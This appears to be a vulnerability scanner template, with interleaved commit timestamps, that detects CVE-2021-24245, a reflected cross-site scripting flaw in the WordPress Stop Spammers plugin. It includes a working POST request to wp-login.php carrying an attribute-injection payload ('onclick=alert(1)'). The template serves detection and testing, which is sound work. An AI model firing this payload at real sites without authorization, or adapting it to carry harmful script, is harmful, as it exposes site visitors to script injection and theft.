2022-06-02 10:25:19 +00:00
id : CVE-2021-24245
info :
2022-09-08 13:28:46 +00:00
name : WordPress Stop Spammers <2021.9 - Cross-Site Scripting
2022-06-02 10:25:19 +00:00
author : edoardottt
severity : medium
2022-09-08 13:28:46 +00:00
description : WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
2022-06-02 10:38:50 +00:00
reference :
- https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
- https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
2022-09-08 13:28:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24245
2023-04-12 10:55:48 +00:00
- http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
2022-06-02 10:25:19 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24245
cwe-id : CWE-79
2024-03-23 09:28:19 +00:00
epss-score : 0.00231
epss-percentile : 0.60494
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
2024-06-07 10:04:29 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : trumani
2024-06-07 10:04:29 +00:00
product : "stop_spammers"
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wpscan,wordpress,xss,wp-plugin,packetstorm,trumani
2024-03-26 17:26:22 +00:00
flow : http(1) && http(2)
2023-04-27 04:28:59 +00:00
http :
2024-03-26 17:26:22 +00:00
- raw :
- |
GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1
Host : {{Hostname}}
matchers :
- type : word
internal : true
words :
- 'Stop Spammers Spam Prevention'
- 'Tags:'
condition : and
2022-06-02 10:25:19 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP+Cookie+check;
log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1
matchers-condition : and
matchers :
- type : word
part : header
words :
- "text/html"
- type : word
part : body
words :
2022-09-08 13:28:46 +00:00
- "ad\" accesskey=X onclick=alert(1)"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4b0a0048304602210097dd1f7fcebf86a0fcaecd1bf15e2c6b0e6db620590d47d75351b93805eed46b022100ad98f6cc7386320986e25063f5544dc501af7214a40c6e666ea67a8abdc54a41:922c64590222798bb761d5b6d8e72950